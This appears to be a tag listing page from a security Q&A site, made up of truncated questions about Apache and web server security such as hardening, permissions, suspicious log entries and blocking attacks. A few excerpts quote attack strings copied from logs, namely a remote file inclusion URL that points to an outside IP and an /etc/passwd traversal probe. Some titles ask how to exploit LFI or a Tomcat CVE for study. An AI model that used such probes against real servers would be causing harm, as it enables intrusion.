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Questions about the security of Apache open source software, especially Apache HTTP Server

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Edit virtual host file using php [closed]

I have a php application and somethings related to the application need changes to vhost.conf file. Presently i'm making the changes manually. But i would like to automate it using a php script. Is ...
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Abusing write permission on Apache logs dir to escalete privileges

I have just come across this sentence on apache log files documentation: Anyone who can write to the directory where Apache is writing a log file can almost certainly gain access to the uid that ...
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How to find vulnerable sites on a web server

A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds. Now his server keeps getting infected on a regular basis. The webhost / server admins keep digging in the dark. ...
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Incorrect file permissions for LAMP [closed]

I have installed Apache 2.4.6 on my server and have the following virtual host config: <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName foobar1.com DocumentRoot ...
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url from another domain in my access log

Most of the time when I am looking for 404 errors in my access.log, I see attempts to access something like /phpMyAdmin/scripts/setup.php. This does not bother me so much, but few days ago I was ...
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My Apache log is kind of freaking me out [closed]

So, last night I looked at the Apache log of my shared hosting account for the first time. There was quite a lot of traffic that looked suspicious, specifically a lot of GET request from a domain, ...
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WSO 2.5 Found on Apache

I have found on my web server the file wp-conf.php which when you call it from the browser with a url parameter like wp-conf.php?t7831n=any value shows an interface where you can control the entire ...
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Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
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What are the consequences of turning on Apache AllowEncodedSlashes?

What are the consequences of turning on Apache AllowEncodedSlashes? I want to turn it on and I want to know if this any worse than any of the other kinds of injection attacks that may occur in web ...
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My VPS has been shut down now again for the second time for TOS violations, and I really need some help. [closed]

My VPS has been shut down now again for the second time for TOS violations (email spam), and I really need some help. I have been battling with my server being attacked for over a year now. Most of my ...
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Should a site have SSL if it doesn't have a login form?

We have a site at work that is used for the following: Our homepage, which is just some info and contact info. Job applications are also handled on our site. There is no place where you can login ...
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Cross-site request forgery attack. How can we stopped this? [closed]

On one of our websites, we are seeing this code is adding itself. I tried to figured out but no success. One thing I have noticed when I removed the html, head and body starting tags, it's gone. Our ...
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Strange GET requests to my Apache Web Server?

A few days ago, my Apache web server was hit with get requests, many of which had strange escape sequences. Can someone read the following sample log entries and explain what the person tried to do, ...
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Chrome does not show green bar with EV SSL but firefox and IE does

I just installed a EV SSL certificate on my server. It has been done correctly and is working, the issue is that Chrome does not show the company name in the green address bar, just shows the green ...
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Is enabling PHP script execution on HTML document file extensions a security concern?

I am working on a very old and messy site, which doesn't have a CMS, or a database. However, it has a lot of .htm and .php files. I need to add some PHP code to some of the .htm files, but want to ...
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Does disabling .htaccess improve security?

I have a new WordPress website that has been installed on a server not managed by me. Its admin has enforced a few rules in order to increase security, I'm not entirely aware of its entirety but it ...
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Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA

I would like to ask if it is possible to use different CA for the client certificate and the web certificate? For example, I would use Verisign to sign my web certificate while I use my Self Sign ...
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How can I block an IP, if I'm getting many http requests in a second?

If some one tried force burst attack on my website, how can I block them? Ideally, I want to block an IP if I have many http/Apache requests in a second.
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Generic defense againt SQL injection

This is a little bit of a rant, but there's a real question at the end. I recently installed a new perl script on a site (which will remain nameless) which failed mysteriously with an error 403. ...
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Use additional “password” in Referer to hide private site?

I have a private (= I'm the only user) site at example.com/private/. Nothing else is published at this host (it's my domain). I don't want anyone to know that there is anything at example.com, ...
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Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
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Securing Java web services called by web site in DMZ using web services for communication

Suppose you have an application running Java web services in Apache Axis 2. Specifically, these are JAX-WS (Java API for XML-Based Web Services). Currently these web services are on the same Windows ...
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PHP attack string in access logs

So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I ...
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Testing for HTTP TRACE method

How can I test for HTTP TRACE on my web-server? I need to train a Tester how to verify that the HTTP TRACE method is disabled. Ideally I need a script to paste into Firebug to initiate a https ...
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How to protect files (cron files) frome being executed by everyone?

I wonder what read / write permissions should I set on my cron files (php files) so they can be executed only by our server. We're using CentOS 5.9 - 64bit and cPanel / WHM + Apache. Thanks!
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Apache/Linux server, DoS attack from own IP

I have an unusual problem I've been trying to diagnose for a while: It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
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Security implications of storing email attachments on Centos Server

There is an application I am working on which requires processing the incoming mails to cs@company.com. The company.com mail accounts are being run via Google Apps for Business. So I fetch the ...
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Is apache mod_spamhaus still being maintained?

I only found this: http://sourceforge.net/projects/mod-spamhaus/files/?source=navbar and that is from 2008 Is there any newer apache mod that is up-to-date? Someone has experience with it? Maybe ...
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mod_spamhaus whitelist example to allow a range of ips

How would an example whitelist look like, that would whitelist a range of all IPs from 123.123.0.0 - 123.123.255.255 ? I have the whitelistfile in /etc/spamhaus.wl
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Is there an easy way to secure Apache on debian?

I run an Apache webserver with lots of PHP-sites of several customers. I tried install apache-mod_security2 after this (german) tutorial that is using these rulesets: ...
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Web Application - Cookie Expiry

We are using a web application on cloud. I need a small clarification. We are using Perl with Apache. I see a following issue here for the below scenario. I need some inputs of whether this is most ...
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unix malicious scripts/ksh execution

I'm wondering whether my architecture poses a security risk. Details: The whole website is not ROOT owned but still, the APACHE user used instead has some pretty advanced permissions. I have a ...
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Prevent URL manipulations including /proc and /etc with fail2ban

I get many attacks on my debian apache server that include URL-manipulations like http://url_on_my_eserver/?username=/etc/passwd How can I block these attacks?
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Using sudo to secure git deployment via web script

I'm setting up a server to do automatic deployment from a Bitbucket git repository, using Bitbucket's postback facility. Briefly, how it works it: I commit to Bitbucket Bitbucket POSTs to a ...
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Safari downloaded my php source once. Should I worry?

I uploaded via ftp, then typed in the URL of the script to Safari; Safari downloaded the source!! This hosting site has never done that before - .php scripts have always executed. I can't duplicate ...
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Weird IP addresses showing up on my server

I have a personal server located in the US, I use it to execute code which requires a lot of resources. I sometimes have apache running on my server, to test php code. I recently left my apache server ...
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How to exploit a local file inclusion vulnerability in a Solaris server [closed]

I am trying to exploit a local file inclusion vulnerability on a Solaris server for my security course. The server is running Apache2 through CoolStack. What is the file that I need to open? The ...
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172.16.33.197, 127.0.0.1 IP addresses in visitor logs

I have a website running Apache and PHP. I see that there are visitors with IP addresses 172.16.33.197 and 127.0.0.1. These addresses do not belong to our network. I get the visitor IP addresses with ...
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Experience with a recent DDoS attack on Apache

I originally posted a question here since I was not familiar with an actual distributed denial of service attack (DDoS) on my server. I noticed that my server is very slow in responding to HTTP ...
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Running Apache as system service on Windows 2003 R2 64-bit

Trying to make my point, that running Apache with PHP5 module as Windows service is not secure. All I got to prove it - FTP access to some internal website. So what I did - I uploaded file test.php ...
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Is a forced rewrite from http to https secure? What does SSLRequireSSL add?

I've read contradicting advice about forcing https connections in the following way: RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} To me it seems ...
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Shared hosting mail server, Thunderbird and encryption

In spite of much searching on the internet, I can't really get an adequate understanding of this topic, perhaps because it combines multiple elements. As a result, I'm really worried about the state ...
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NGINX / HTTP TRACE

I have a http server Nginx with HTTP TRACE Enabled. A single nmap --script=http-methods.nse host.name give this result : Not shown: 988 closed ports PORT STATE SERVICE VERSION [...] ...
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Exploiting tomcat's vulnerability CVE-2009-2693 Arbitrary file deletion and/or alteration on deploy [closed]

For some tests, I want to exploit tomcat 6 vulnerability CVE-2009-2693. You can see it here http://tomcat.apache.org/security-6.html I am trying this with insecure web application of OWASP. I made ...
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How to counter or fix banner grabbing vulnerability

During an audit i came across banner grabbing findings,and would like to know how to mitigate that on IIS and apache server.
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What security concerns exist in running a glassfish app directly on port 443

I have installed Apache http server in front of glassfish based on recommendations i had in this question. I have been told that i will run into performance problems along with security issues. I was ...
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HTTP daemon and Webroot permissions

We have a contracted web developer that uses deployment scripts to update and deploy web sites. In order for them to work they require write access to the whole webroot through the httpd user. I have ...
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Exclude file names from mod_security patterns

I have a question regarding mod_security. I have installed mod_security on my server and OWASP core rule set. However, now people are having trouble when accessing my page. For example, one problem ...
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How to filter POST requests before they reach PHP on Apache?

I have done URL filtering with .htaccess (using learning and generator), however I am still concerned that any POST request can be submitted to the PHP even there is only one POST form on the website, ...
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If Xampp is not secure enough for a production environment what should I use?

I am not even sure if this is the right place to ask this but here goes: I am thinking of running my own small website from a home server. I have been using Ubuntu 12.04 with xampp as my server ...